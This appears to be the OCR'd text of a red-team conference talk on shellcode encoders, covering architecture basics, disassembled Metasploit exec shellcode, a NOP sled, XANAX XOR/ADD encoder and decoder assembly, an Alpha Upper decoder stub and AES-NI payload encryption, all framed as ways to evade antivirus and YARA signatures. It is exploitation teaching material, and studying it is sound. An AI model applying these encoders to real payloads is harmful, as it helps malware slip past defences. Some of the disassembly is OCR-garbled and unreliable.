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Who are we?

Harpreet Singh

- Author
- ~8 yrs exp. In pentest/redteam
- Anime lover (Otaku)
- @TheCyb3rAlpha



Hands-On Red Team Tactics



Yashdeep Saini

- Appsec/Prodsec/RedTeam
- ~3 yrs in security engineering, sysinternals and exploitation.
- failing hard at becoming trilingual
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- Examples shown in the given presentation are strictly limited to open source implementations to prevent possible violation of any license.
- <u>Talk is targeted towards audience with beginner/intermediate level experience with</u> <u>exploitation and are interested in progressing towards advanced topics.</u>
- This talk is derived from a long format talk and might have some content redacted or minimized to fit into the time frame of the talk.



\x41-genda

- Back to basics x86 v/s x86_64 v/s ARM Assembly instructions set
- A view of shellcode plain vs encoded
- Oddballs and failures while analysis & comparative graphs in instruction pattern
- Obscure Mnemonics and pattern changes
- Shellcode encoder/decoder process
- Encoders basics and types of encoders



Back to basics - x86 vs x64 vs ARM

x86 registers	x64 registers	ARM registers **
eax, ebx, ecx, edx,	rax, rbx, rcx, rdx,	r0-r7
esi, edi,	rsi, rdi	r8*-r12 *
ebp. esp	rbp, rsp	r13, r14*, r15 *
	r8-r15	SP, LK, PC
psw	psw	CPSR



Back to basics - x86 vs x64 vs ARM

X	8	6	

x64

ARM

They all share common operations in categories

- Data movement mov, push, pop, indirect references.
- Arithmetics operations add, inc, neg, div, mul..
- Shifting operations shr, shl,sar, sal,...
- Comparisons lt, gt, cmp, test
- Control flows jmp, jn, je, jz, jg,..
- Call and returns syscall, int80h, ret, leave
- Stack movements push, pop **



A view of shellcodes - plain

cdq

movabs rax,0×68732f6e69622f

рор	eax
cdq	
push	edx
pushw	0×632d
mov	edi,esp
push	0×68732f
push	0×6e69622f
mov	ebx,esp
push	edx
call	26 <buf+0×26></buf+0×26>
imul	esi,DWORD PTR [eax+0×63],0×69666e6f
add	BYTE PTR [bx+0×53],dl
mov	ecx,esp
int	0×80

push rax push rsp rdi pop push rdx pushw 0×632d push rsp pop rsi rdx push call 24 <buf+0×24> imul esi, DWORD PTR [rax+0×63], 0×69666e6f BYTE PTR [esi+0×57],dl add push rsp pop rsi 0×3b push pop rax syscall

add r3, pc, #1 bx r3 andcc r4, sl, r8, ror r6 stmdbge r1, {r0, ip, pc} ; <UNDEFINED> cmnvc ip, #1, 30

Sample used - msf linux exec cmd = 'ls' in x86, x86_64, armle

Shellcodes with encoders - xor family

29 <buf+0×29> imp rbx DOD push rbx rdi DOD mov al.0×bb cld al.BYTE PTR es:[rdi] scas 8 <buf+0×8> ine push rdi. DOD rex push rbx pop rsi al, BYTE PTR [rsi] mov BYTE PTR [rdi],al xor rdi inc inc rsi WORD PTR [rdi],0×c05 CMD 27 <buf+0×27> je BYTE PTR [rsi].0×bb CMD f <buf+0×f> jne d <buf+0×d> imp rcx jmp 2 <buf+0×2> call DWORD PTR [rbx+0×632eb949].edi add push 0×69722e6f DWORD PTR [rax+0×535e5551].ebx add ebp,DWORD PTR [edx+eiz*2],0×e9535f55 imul al, BYTE PTR [rcx] add DWORD PTR [rcx], eax add DWORD PTR es:[rdi],dx ins jb 4f <buf+0×4f> rdi push push rsi push rbp rdi pop edi, DWORD PTR [rdx], 0×59 imul (bad) add al,0×5 al,0×0 or

xor rcx,rcx rcx,0×fffffffffffffffff sub lea movabs rbx,0×c3cb125b8e4d8056 QWORD PTR [rax+0×27],rbx xor rax,0×ffffffffffffffff sub $1b < buf + 0 \times 1b >$ loop (bad) BYTE PTR [rdx-0×14], ah cmp bh,BYTE PTR [rsp+riz*8-0×50] xor ds adc ah.0×de cmovge ebx, DWORD PTR [rcx+0×2ead3ea5] fiadd DWORD PTR [rip+0×56c02340] BYTE PTR [rbp-0×1e],0×28 or bl,BYTE PTR [rbp+0×27de0294] adc ch.0×3 mov .byte 0×1d (bad) ret



Shellcodes with encoders - nonalpha(low), shikata_ga_nai(excellent) fcmove st,st(4)

mov	cx,0×ffff	
jmp	lf <buf+0×1f></buf+0×1f>	
рор	esi	
mov	edi,esi	
add	edi,0×12	
mov	edx,edi	
cmp	esi,edx	
jge	1d <buf+0×1d></buf+0×1d>	
mov	al,0×7b	
repnz	scas al,BYTE PTR es:[edi]	
dec	edi	/
lods	al,BYTE PTR ds:[esi]	~ -
sub	BYTE PTR [edi],al	
jmp	e <buf+0×e></buf+0×e>	
jmp	36 <buf+0×36></buf+0×36>	
call	6 <buf+0×6></buf+0×6>	Shi
adc	DWORD PTR [ebx],esp	
sub	DWORD PTR ds:0×8131813,edx	
adc	edx,DWORD PTR [ebx]	
sbb	DWORD PTR [edx],edx	
or	eax,0×24080f29	
sub	BYTE PTR [ebx+0×b],bh	
jnp	ffffffd3 <buf+0×ffffffd3></buf+0×ffffffd3>	
jnp	b7 <buf+0×b7></buf+0×b7>	
jnp	6b <buf+0×6b></buf+0×6b>	
jnp	ffffffc9 <buf+0×ffffffc9></buf+0×ffffffc9>	
out	0×7b,eax	
das		
jnp	c0 <buf+0×c0></buf+0×c0>	
add	BYTE PTR [ebx+0×2f],bh	
jnp	c5 <buf+0×c5></buf+0×c5>	
jnp	ffffffd5 <buf+0×ffffffd5></buf+0×ffffffd5>	
jecxz	c9 <buf+0×c9></buf+0×c9>	
call	56 <buf+0×56></buf+0×56>	
jnp	d0 <buf+0×d0></buf+0×d0>	
add	BYTE PTR [ebx+0×7b],bh	
mov	ecx,esp	
int	0×80	

<- nonalpha

Shikata_ga_nai ->

fcmove	e st,st(4)
mov	eax,0×a8b576cd
fnster	ıv [esp-0×c]
рор	ebx
sub	ecx,ecx
mov	cl,0×a
xor	DWORD PTR [ebx+0×19],eax
add	ebx,0×4
add	eax,DWORD PTR [ebx+0×15]
das	
sbb	edi,0×ffffffa3
div	ebp
jb	fffffff3 <buf+0×ffffffff3></buf+0×ffffffff3>
outs	dx,DWORD PTR ds:[esi]
sub	edx,DWORD PTR [eax]
xchg	ebx,eax
mov	BYTE PTR [ebx-0×7],bl
sar	BYTE PTR [esi],1
pushf	
ins	DWORD PTR es:[edi],dx
cmp	ah,bl
cmc	
add	ecx,edi
ret	
push	esp
xor	al,0×cc
add	ebx,DWORD PTR [ecx-0×3c]
mov	edi,0×6c935970
(bad)	
.byte	0×b8
(bad)	

eax, DWORD PTR [eax]

adc

Odd balls and failures while analysis

- objdump = linear sweep
- IDA = recursive traversal dfs
- Binary-ninja = also follows graph pattern
- Ghidra = Trace modelling (underlying form is graph only)

Compiler behaviours to note

• Gcc -m32 vs i686-linux-gcc can yield different instructions

Common methods

- branch function (pe-scrambler tool)
- using jump tables (now also seen in EDR bypass tools)



Comparative graph in instruction patterns

- file download & exec
- setuid
- adduser
- shell bind / reverse
- peinject / dll

Sources - shellstorm database and metasploit payloads

Comparative graph in instruction patterns



Sources - shellstorm database and metasploit payloads

Comparative graph in instruction patterns - encoders



Sources - shellstorm database and metasploit payloads



Obscure Mnemonics and pattern changes

Major changes found

- Encoder types adding layers and branches = more control, call changes
- Encoders types adding transformation = more data movement

Charts don't translate obscurity well

- For long repetitive operations on bytes REPNI, SCASB,...
- For data movement on test and move combined CMOV, BSWAP, CMPS,...
- Decoding stages want stream SHUFPD, PSHUFB, CMPXCHG, ...

Essentially good techniques wherever can start using MMX, SSE, AVX instructions for help



Why Encode?

Without Encoders	With Encoders
Shellcodes/payload in itself may not be directly compatible	Shellcodes/payload can be transformed as per transport supported by target application
Shellcodes are prone to badchars, a single badchars can break the shellcode	Encoders can selectively replace badchars
RAW shellcodes without obfuscation and encoding are easy to detect (thanks to AV signatures)	Encoders can provide obfuscation layer on top of encoding to bypass signature detection



Shellcode Encoder/Decoder process





Issues that may arise?

- Not enough memory allocated for the encoded shellcode and it might overwrite nearby regions during decoding process.
- Specific architecture have specific encoders available. Cross architecture encoding/decoding might fail if instructions are not available.
- Encoded shellcode may still have bad bytes unless all the bytes are tested in memory. (bad char removal is a continuous process)
- If RWX/RX permissions are not set, shellcode won't get executed and no decoding will take place.



Imagine Encoders as CULPRIT

- Decoder stub itself has instructions as patterns
- Automated tools mostly have prefix stub hardcoded with replacement options for parameters
- Generic allocation patterns when stub decodes the sequence

How do we fix that??

- Moving towards simpler approaches find alternate instruction paths (substituting with multi-step deconstructed instructions) - **mov eax**, **0** can also be **xor eax**, **eax**
- Moving towards difficult approaches find complex instructions paths (utilize mmx, sse, avx or even aes-ni instruction support



Encoders - fundamentals | broad division

- Basic encoders (substitution) basic one-to-one mapping
- Morphism (polymorphism) dynamic key generation/next instruction generation
- Mutated or polyglot encoders
- Cross-compilation tricks (not essentially an encoder)
- Encrypted (even though by its nature can give all polymorphic features has its pitfalls too)



Common Encoders used in tools

From simplest to complex operations in place

- Substitution ROT13, next-byte
- Arithmetic operations
- XOR
- RC4
- BloXOR (Metamorphic)
- Shikata Ga Nai (Polymorphic and a de-facto

Hammer by new learners)





Case studies

Sometimes we forget to even see how simpler operations are working amazingly

- Nop generators
- XANAX
- Alpha Upper
- Encrypted AES-NI extension used



NOP Generators

- Extremely simple feature easily bypasses signature scans for NOP sleds.
- Ton of support in metasploit framework
- Not limited to msf can manually figure out more nops for our context.

msf6 nop(x64/simple) > generate 30 -t c
unsigned char buf[] =
"\x9c\x5b\x98\x51\x5d\x53\x51\x9e\x9b\x5b\x54\x59\x93\x5e\x96"
"\x96\x51\x93\x96\x5e\xf9\x9e\x55\x9e\x59\x5b\x9f\x5c\xfd\x9c";
msf6 nop(x64/simple) >

pushf rbx pop cwde push rcx rbp pop push rbx push rcx sahf fwait rbx рор push rsp rcx pop xchq ebx,eax rsi pop xchq esi,eax xchq esi,eax push rcx xchg ebx,eax esi,eax xchg rsi pop stc sahf push rbp sahf pop rcx rbx pop lahf pop rsp stdpushf



XANAX Encoding

Encoding Schema:

XOR - ADD - NOT - ADD - XOR

Keys are hardcoded:

3	segment .data			
5	keys.xor1	equ	0x29	
6	keys.add1	equ	0xff	
7	keys.xor2	equ	0x50	
8	keys.add2	equ	0x05	
9				

17	_start:
18	
19	encode_setup:
20	xor rcx, rcx
21	lea rsi, [payload_start]
22	encode:
23	<pre>mov al, byte [rsi+rcx]</pre>
24	; XANAX encoding (xor add not add xor)
25	xor al, keys.xor1
26	add al, keys.add1
27	not al
28	add al, keys.add2
29	xor al, keys.xor2
30	mov byte [rsi+rcx], al
31	
32	inc rcx
33	cmp rcx, payload.len
34	jne encode
35	

Source: https://gist.github.com/alanvivona/86d76d9fbba3035e1a80fa2d8ff8999b



XANAX Decoding

Decoding Schema:

XOR - SUB - NOT - SUB - XOR

encode_setup:	
xor rcx, rcx	
lea rsi, [rel payload_start]	
encode:	
<pre>mov al, byte [rsi+rcx]</pre>	
; XANAX encoding (xor add neg add xor)
xor al, keys.xor2	
sub al, keys.add2	
not al	
sub al, keys.add1	
xor al, keys.xor1	
mov byte [rsi+rcx], al	
inc rcx cmp rcx, payload.len jne encode	

Source: https://gist.github.com/alanvivona/b1259e4d0f3e2c2df5c4fe5a50b71fc6



Alpha Upper





15 <keys> => c1, c2, c3,..

Source https://rdoc.info/gems/librex/0.0.68/Rex/Enc oder/Alpha2/Generic#encode-class_method



Alpha Upper

Algo

- 1. Loop all bytes as B
- 2. Lower nibble B as key get first C1?
- 3. From C1 take upper nibble
- 4. Second lowN= ($uC \wedge uB$) & 0x0F
- 5. Get C2 from second lowN
- 6. Encoded value = C1 + C2



map[0100] => C1
Upper nibble = C1 >> 0x04
Second low nibble = (C1 >> 0x04 ^
0101) ^ 0x0F
map[second low nibble] = C2
Encoded = c1 + c2

Source https://rdoc.info/gems/librex/0.0.68/Rex/Enc oder/Alpha2/Generic#encode-class_method

Alpha Upper

"V" +	# push esi
"T" +	# push esp
"X" +	# pop eax
"30" +	<pre># xor esi, [eax]</pre>
"V" +	# push esi
"X" +	# pop eax
"4A" +	# xor al, 41
"P" +	# push eax
"0A3" +	# xor [ecx+33], al
"H" +	# dec eax
"H" +	# dec eax
"0A0" +	# xor [ecx+30], al
"0AB" +	# xor [ecx+42], al
"A" +	# inc ecx
"A" +	# inc ecx
"B" +	# inc edx
"TAAQ" +	# imul eax, [ecx+41], 10 *
"2AB" +	# xor al [ecx+42]
"2BB" +	# xor al, [edx+42]
"0BB" +	# xor [edx+42], al
"X" +	# pop eax
"P" +	# push eax
"8AC" +	# cmp [ecx+43], al
"JJ" +	# jnz *
"I"	# first encoded char, fixes the above J

 \leftarrow Decoder stub



Encrypted

- Metasploit Encryption support (AES256, RC4, XOR, BASE64)
- Issue? Software-level encryption
- Lengthy shellcode decoder
- Not flexible enough in terms of keying
- Out of the box solution change instructions to aes-ni make it pseudo mutated



Hardware Acceleration?

AES-NI instruction set

- Hardware-accelerated versions of AES
- Reduced calls per basic round operations
- Compatible on most platforms since 2010, even with AMD spec
- Good enough to confused scanner which are yet to update YARA rules .



AES-NI Instruction set

Instruction	Description
AESENC	Perform one round of an AES encryption flow
AESENCLAST	Perform the last round of an AES encryption flow
AESDEC	Perform one round of an AES decryption flow
AESDECLAST	Perform the last round of an AES decryption flow
AESKEYGENASSIST	Assist in AES round key generation
AESIMC	Assist in AES Inverse Mix Columns



Hardware Acceleration?

rcpss xmm4, xmm5 addps xmm8, xmm8 rcpss xmm2, xmm7 subss xmm14, xmm14 rsqrtps xmm7, xmm4 movabs r14, 0xc9e45fe9275ff8a6

movq xmm0,r14
movabs r15,0x93eac8d89f841674

linux/x64/exec cmd="uname -a"

Random Key

movq xmm7,r15 shufps xmm0,xmm0,0x1b shufps xmm0,xmm7,0x1b movaps xmm1,xmm0 pxor xmm4,xmm4 aeskeygenassist xmm2,xmm0,0x1 pshufd xmm2,xmm2,0xff shufps xmm4,xmm0,0x10 pxor xmm0,xmm4 shufps xmm4,xmm0,0x8c pxor xmm0,xmm4 pxor xmm0,xmm2 aesimc xmm3,xmm0

Tool: https://github.com/cryptolok/MorphAES

From here on for AES-NI?

- Encrypted payload sounds very interesting, needs extra work
- Guarantee polymorphic, mutated payload
- Does not guarantee badchar issue still found
- Might need to add a layer for filtering badchards by character mapping table.
- Support for modern machines like Apple M1??
- M1 and ARM in general will need Neon, helium intrinsics support.
- Future scope developing a ROP chain out of AES-NI instructions.



Thank you !!